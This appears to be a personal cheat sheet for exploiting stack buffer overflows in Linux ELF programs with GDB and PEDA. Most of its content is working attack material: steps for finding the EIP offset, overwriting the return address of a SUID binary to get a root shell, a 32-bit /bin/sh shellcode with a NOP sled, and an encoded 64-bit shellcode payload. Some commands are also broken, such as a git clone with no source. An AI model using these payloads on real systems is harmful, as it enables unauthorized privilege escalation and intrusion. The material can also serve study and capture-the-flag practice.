Analyse ELF

file <program>
ltrace <program>
strings <program>

Install GDB and PEDA

sudo apt-get install gdb
ulimit -c unlimited
# if cores arent being created use below as root
echo "core" > /proc/sys/kernel/core_pattern
# Install PEDA
git clone ~/peda
echo "source ~/peda/" >> ~/.gdbinit
# Find program vulnerable to buffer overflow
# Create buffer
python -c 'print "A"*2000' > 2k.txt
# Pipe buffer to program
cat 2k.txt | ./vulnerableprogram
# If crashes a core should be dumped
# Analyse core
gdb -q vulnerableprogram ./core

GDB Shortcuts

b = breakpoint
c = continue
disas = disasemble
x/s = hexadecimal string at address
x/40wx $esp-0x200 = hexadecimal 40 words in hex of $esp register - 200 bytes
info functions
info registers

Find Offset

# Open Core
gcb -q vulnerableprogram ./core
# View available options
help pattern
# Create pattern with unique strings to find overflow
pattern create 2000 pattern.txt
# Run pattern without leaving gdb
run < pattern.txt
# can also do 'pattern_create 2000' which will print to screen
# can then use 'run "pattern"' to execute
# Will show the memory address that fails (e.g 0x41426e41 in ??))
# Find offset of that address within gdb
pattern offset 0x<address>
# Quit gdb
# Will give us bytes for offset, create an overflow that goes to that address
python -c 'print "A"*<offsetbytes> + "BBBB"' > eip.txt
# Go back into GDB
gdb -q vulnerableprogram ./core
# Run EIP
run < eip.txt
# Should now see all BBBB so we can write to the correct location
# Quit GDB

Find Functions

# Open new GDB
gdb -q vulnerableprogram
# List functions within gdb
info functions
# Look for non standard functions
# Analyse them
disas <function>
e.g. disas main
# Instruction directly before system call is a string, analyse the string
# Push <address1>
# call <address2> <system@plt>
x/s <address1>

Function calling shell on SUID

# If the string above is a call to a shell and its a suid program
# Then this function can be used for a root shell
# Write the buffer with the address of the start of the function
# This has to be little endian and is the function entry point
# In the below the entry point was 0x080484cb
python -c 'print "A"*<offsetbytes> + "\xcb\x84\x04\x08"'> root.txt
# Launch GDB
gdb -q vulnerableprogram
# Run exploit
run < root.txt
# May see shell spawn but die instantly. This is due to SDTIN Closing early.
# Can bypass with piping input to SUID program like below
(cat root.txt; cat) | ./vulnerableprogram
# This should keep it open
# If dev has been done on a copy in a writeable location, now point to live
(cat root.txt; cat) | /home/xdev/Desktop/vulnerableprogramsuid
# Prove root shell
# Spawn full TTY
python -c 'import pty;pty.spawn("/bin/sh")'


# Run python in GDB
run `python`
# python script has sc and buffers / nops etc
sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
payload = "\x90"*50 # NOP Sled
payload += sc # Add shellcode
payload += "A"*(390-50-len(sc)) # Fill buffer - nop - shellcode
payload += "\xe0\xf2\xff\xbf" # EIP = 0xbffff2c0
print payload
# Above spawns a bash shell. (values change obvs)
# EIP might need changing outside of GDB due to environment variable changes.
# If so run program like below
./program `python`
# open dump
gdb -q ./program ./core
# debug
x/40wx $esp-0x200
# Look for the old EIP and if its still valid. Choose a new one in the NOP sled

64 Bit

# Look into registers more
# ESP changes to RSP
# EIP changes to RIP

Code below is an example in 64bit using a stack overflow to call /bin/sh

from struct import pack
buf = ""
buf += "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xfc\x4e\xe5\x0e\x7e\x6b\xa5"
buf += "\x19\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x96\x75\xbd\x97\x36\xd0\x8a\x7b\x95\x20\xca\x7d\x16"
buf += "\x6b\xf6\x51\x75\xa9\x8d\x23\x1d\x6b\xa5\x51\x75\xa8"
buf += "\xb7\xe6\x76\x6b\xa5\x19\xd3\x2c\x8c\x60\x51\x18\xcd"
buf += "\x19\xaa\x19\xad\x87\x98\x64\xa0\x19"
payload = "\x90"*40 #NOP Sled
payload += buf # Shellcode
payload += "A"*(128-len(buf)) #Padding to fill out buffer
payload += pack("<Q", 0x7fffffffe418) #Setting return address to one in NOP sled
print payload